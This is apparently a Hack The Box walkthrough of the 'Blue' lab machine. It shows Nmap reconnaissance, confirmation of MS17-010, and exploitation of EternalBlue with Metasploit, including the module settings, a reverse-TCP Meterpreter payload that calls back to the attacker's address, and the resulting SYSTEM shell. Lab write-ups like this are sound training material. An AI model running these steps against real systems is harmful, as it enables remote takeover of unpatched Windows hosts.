Hack The Box - Blue Walkthrough (MS17-010 EternalBlue)

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Platform: Hack The Box

Target: 10.129.7.75

Date: March 2026

Target Information

Item	Value
Target Machine	Blue
Target IP	10.129.7.75
Attacker Machine	Kali Linux
Platform	Hack The Box

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1. Reconnaissance

A port scan was performed using **Nmap** to identify open ports and services running on the target machine.

```
sudo nmap -sS -sC -sV -T4 -Pn -n -oX target1.xml 10.129.7.75
```

Scan Results

Port	State	Service	Version
135	open	msrpc	Microsoft Windows RPC
139	open	netbios-ssn	Microsoft Windows NetBIOS
445	open	microsoft-ds	Windows 7 Professional SP1
49152	open	msrpc	Microsoft Windows RPC
49153	open	msrpc	Microsoft Windows RPC
49154	open	msrpc	Microsoft Windows RPC
49155	open	msrpc	Microsoft Windows RPC
49156	open	msrpc	Microsoft Windows RPC
49157	open	msrpc	Microsoft Windows RPC

The SMB service indicates that the system is running **Windows 7**.

```
┌──(abhay㉿Kali)-[~/Desktop/Blue]
└─$ sudo nmap --top-ports 1000 -sC -sV -sS -T4 -Pn -n -oX target1.xml 10.129.7.75
[sudo] password for abhay:
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-14 13:02 +0530
Nmap scan report for 10.129.7.75
Host is up (0.28s latency).
Not shown: 991 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  msrpc        Microsoft Windows RPC
49156/tcp open  msrpc        Microsoft Windows RPC
49157/tcp open  msrpc        Microsoft Windows RPC
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2026-03-14T07:33:52
|_  start_date: 2026-03-14T07:26:03
| smb-os-discovery:
|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
|   Computer name: haris-PC
|   NetBIOS computer name: HARIS-PC\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2026-03-14T07:33:51+00:00
| smb2-security-mode:
|   2.1:
|_    Message signing enabled but not required
|_clock-skew: mean: 1s, deviation: 1s, median: 0s
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 95.17 seconds
```

Activate Windows
Go to Settings to activate Windows.

2. Enumeration

Windows 7 SP1 systems using SMBv1 are often vulnerable to **MS17-010 EternalBlue**.

This vulnerability allows remote attackers to execute arbitrary code via crafted SMB packets.

To confirm the vulnerability, the following Nmap script was used:

```
nmap -p445 --script smb-vuln-ms17-010 10.129.7.75
```

The scan confirmed that the target is vulnerable to:

```
CVE-2017-0143
```

This is a quick walkthrough of how you can go about exploiting eternalblue on a target

CVE-2017-0144.md Raw

EternalBlue Exploit | MS17-010 PoC

Description

The SMBv1 server in Microsoft Windows Vista SP2; Windows Server 2008 SP2 and R2 SP1; Windows 7 SP1; Windows 8.1; Windows Server 2012 Gold and R2; Windows RT 8.1; and Windows 10 Gold, 1511, and 1607; and Windows Server 2016 allows remote attackers to execute arbitrary code via crafted packets, aka "Windows SMB Remote Code Execution Vulnerability."

You can read more about the exploit Wikipedia or Avast's Blog

Activate Windov
Go to Settings to acti

```
┌──(abhay㉿Kali)-[~/Desktop/Blue]
└─$ nmap -p445 --script smb-vuln-ms17-010 10.129.7.75
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-14 13:06 +0530
Nmap scan report for 10.129.7.75
Host is up (0.28s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds

Host script results:
| smb-vuln-ms17-010:
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|
|     Disclosure date: 2017-03-14
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_      https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/

Nmap done: 1 IP address (1 host up) scanned in 4.04 seconds
```

---

3. Exploitation

The vulnerability was exploited using **Metasploit Framework**.

Step 1 – Start Metasploit

`Msfconsole`

```
┌──(abhay㉿Kali)-[~/Desktop/Blue]
└─$ msfconsole
Metasploit tip: View advanced module options with advanced

       =[ metasploit v6.4.112-dev                         ]
+ -- --=[ 2,607 exploits - 1,325 auxiliary - 1,710 payloads     ]
+ -- --=[ 430 post - 49 encoders - 14 nops - 9 evasion          ]

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project

msf >
```

Step 2 – Select EternalBlue exploit

`use exploit/windows/smb/ms17_010_eternalblue`

```
msf > use exploit/windows/smb/ms17_010_eternalblue
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf exploit(windows/smb/ms17_010_eternalblue) >
```

Step 3 – Configure exploit parameters

```
set RHOSTS 10.129.7.75
set LHOST 10.10.14.237
set LPORT 4444
```

```
msf exploit(windows/smb/ms17_010_eternalblue) > set LHOST 10.10.14.237
LHOST => 10.10.14.237
msf exploit(windows/smb/ms17_010_eternalblue) > set LPORT 4444
LPORT => 4444
msf exploit(windows/smb/ms17_010_eternalblue) > set RHOST 10.129.7.75
RHOST => 10.129.7.75
```

Step 4 – Execute exploit

```
run
```

After running the exploit, a **Meterpreter** session was successfully established.

```
msf exploit(windows/smb/ms17_010_eternalblue) > run
[*] Started reverse TCP handler on 10.10.14.237:4444
[*] 10.129.7.75:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.129.7.75:445       - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/recog-3.1.25/lib/recog/fingerprint/regexp_factory.rb:34: warning: nested repeat op
 replaced with '*' in regular expression
[*] 10.129.7.75:445       - Scanned 1 of 1 hosts (100% complete)
[+] 10.129.7.75:445 - The target is vulnerable.
[*] 10.129.7.75:445 - Connecting to target for exploitation.
[+] 10.129.7.75:445 - Connection established for exploitation.
[+] 10.129.7.75:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.129.7.75:445 - CORE raw buffer dump (42 bytes)
[*] 10.129.7.75:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 10.129.7.75:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 10.129.7.75:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1
[+] 10.129.7.75:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.129.7.75:445 - Trying exploit with 12 Groom Allocations.
[*] 10.129.7.75:445 - Sending all but last fragment of exploit packet
[*] 10.129.7.75:445 - Starting non-paged pool grooming
[+] 10.129.7.75:445 - Sending SMBv2 buffers
[+] 10.129.7.75:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.129.7.75:445 - Sending final SMBv2 buffers.
[*] 10.129.7.75:445 - Sending last fragment of exploit packet!
[*] 10.129.7.75:445 - Receiving response from exploit packet
[+] 10.129.7.75:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.129.7.75:445 - Sending egg to corrupted connection.
[*] 10.129.7.75:445 - Triggering free of corrupted buffer.
[*] Sending stage (232006 bytes) to 10.129.7.75
[*] Meterpreter session 1 opened (10.10.14.237:4444 -> 10.129.7.75:49158) at 2026-03-14 13:13:43 +0530
[+] 10.129.7.75:445 - =-=-=-=
```

Since SYSTEM privileges were obtained, the flags can be accessed directly.

User Flag

```
type C:\Users\haris\Desktop\user.txt
```

Root Flag

```
type C:\Users\Administrator\Desktop\root.txt
```

Conclusion

The target machine was successfully compromised by exploiting the **MS17-010 EternalBlue vulnerability**. The exploit provided a Meterpreter shell with SYSTEM privileges, allowing full access to the system and retrieval of both user and root flags.

Tools Used

- Nmap
- Metasploit Framework
- Meterpreter